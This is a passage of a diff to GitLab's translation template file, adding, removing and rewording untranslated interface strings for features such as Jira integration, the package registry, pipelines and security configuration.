-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
